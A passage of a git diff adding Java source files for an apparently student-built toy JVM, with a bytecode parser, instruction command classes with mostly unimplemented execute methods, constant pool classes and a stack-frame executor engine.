+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			}else{
+				throw new RuntimeException("the code instruction " + opCode + " has not been implemented.");
+			}
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetFieldCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..d4a7bb172e
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,33 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+		
+		
+	}
+
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetStaticFieldCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..a184a482fa
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,30 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.Heap;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+	
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeSpecialCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..531d9bde68
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,32 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.MethodArea;
+import week08.jvm.engine.StackFrame;
+import week08.jvm.method.Method;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeVirtualCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..1ad7672b77
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,34 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.MethodArea;
+import week08.jvm.engine.StackFrame;
+import week08.jvm.method.Method;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+		
+	}
+
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/LdcCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..442f8bb147
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/LdcCmd.java
@@ -0,0 +1,39 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.StringInfo;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.Heap;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+		
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/NewObjectCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..c9309c713e
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,30 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.Heap;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+		
+	}
+
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/NoOperandCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..f76d259c59
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,31 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.JavaObject;
+import week08.jvm.engine.StackFrame;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/OneOperandCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..9151bafd72
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/PutFieldCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..d387fd2ca6
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,26 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.engine.ExecutionResult;
+import week08.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+
+	}
+
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/cmd/TwoOperandCmd.java b/group01/1814014897/zhouhui/src/week08/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..2ba1392651
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package week08.jvm.cmd;
+
+import week08.jvm.clz.ClassFile;
+import week08.jvm.constant.ClassInfo;
+import week08.jvm.constant.ConstantInfo;
+import week08.jvm.constant.ConstantPool;
+import week08.jvm.constant.FieldRefInfo;
+import week08.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/ClassInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..71ff4cfc87
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package week08.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..f80b8a0890
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package week08.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantPool.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7e0cb7bcff
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package week08.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/FieldRefInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..850df3010d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package week08.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/MethodRefInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..f3c2c0e11f
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package week08.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/NameAndTypeInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..99e66e7d61
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package week08.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/NullConstantInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..1b46ca4f5b
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package week08.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/StringInfo.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..08e2307a18
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package week08.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/constant/UTF8Info.java b/group01/1814014897/zhouhui/src/week08/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..eaefa4bb3d
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package week08.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutionResult.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..7334a69eb4
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutionResult.java
@@ -0,0 +1,53 @@
+package week08.jvm.engine;
+
+import week08.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+
+	private int nextAction = RUN_NEXT_CMD;
+
+	private int nextCmdOffset = 0;
+
+	private Method nextMethod;
+
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	public void setNextAction(int action) {
+		this.nextAction = action;
+	}
+
+	public boolean isPauseAndRunNewFrame() {
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+
+	public boolean isExitCurrentFrame() {
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+
+	public boolean isRunNextCmd() {
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+
+	public boolean isJump() {
+		return this.nextAction == JUMP;
+	}
+
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutorEngine.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..4d094d29e7
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,82 @@
+package week08.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import week08.jvm.attr.CodeAttr;
+import week08.jvm.clz.ClassFile;
+import week08.jvm.cmd.ByteCodeCommand;
+import week08.jvm.constant.MethodRefInfo;
+import week08.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+
+	public ExecutorEngine() {
+
+	}
+
+	public void execute(Method mainMethod) {
+
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+
+		while (!stack.empty()) {
+
+			StackFrame frame = stack.peek();
+
+			ExecutionResult result = frame.execute();
+
+			if (result.isPauseAndRunNewFrame()) {
+
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);
+				setupFunctionCallParams(frame, nextFrame);
+
+				stack.push(nextFrame);
+
+			} else {
+
+				stack.pop();
+
+			}
+		}
+
+	}
+
+	private void setupFunctionCallParams(StackFrame currentFrame, StackFrame nextFrame) {
+
+		Method nextMethod = nextFrame.getMethod();
+		
+		
+		List<String> paramList = nextMethod.getParameterList();
+		
+		//加上1 是因为要把this也传递过去
+		
+		int paramNum = paramList.size() + 1;
+		
+		
+		List<JavaObject> values = new ArrayList<JavaObject>();
+		
+		//数据结构知识：  从栈中取出栈顶的x个元素
+		while(paramNum>0){			
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}
+		
+		
+		nextFrame.setLocalVariableTable(params);
+		
+	}
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/Heap.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/Heap.java
new file mode 100644
index 0000000000..ef299caa11
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/Heap.java
@@ -0,0 +1,39 @@
+package week08.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * 没有实现垃圾回收， 所以对于下面新创建的对象， 并没有记录到一个数据结构当中
+	 */
+	
+	private static Heap instance = new Heap();
+	private Heap() {		
+	}
+	public static Heap getInstance(){
+		return instance;
+	}
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week08/jvm/engine/JavaObject.java b/group01/1814014897/zhouhui/src/week08/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..16715063d1
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week08/jvm/engine/JavaObject.java
@@ -0,0 +1,71 @@
+package week08.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
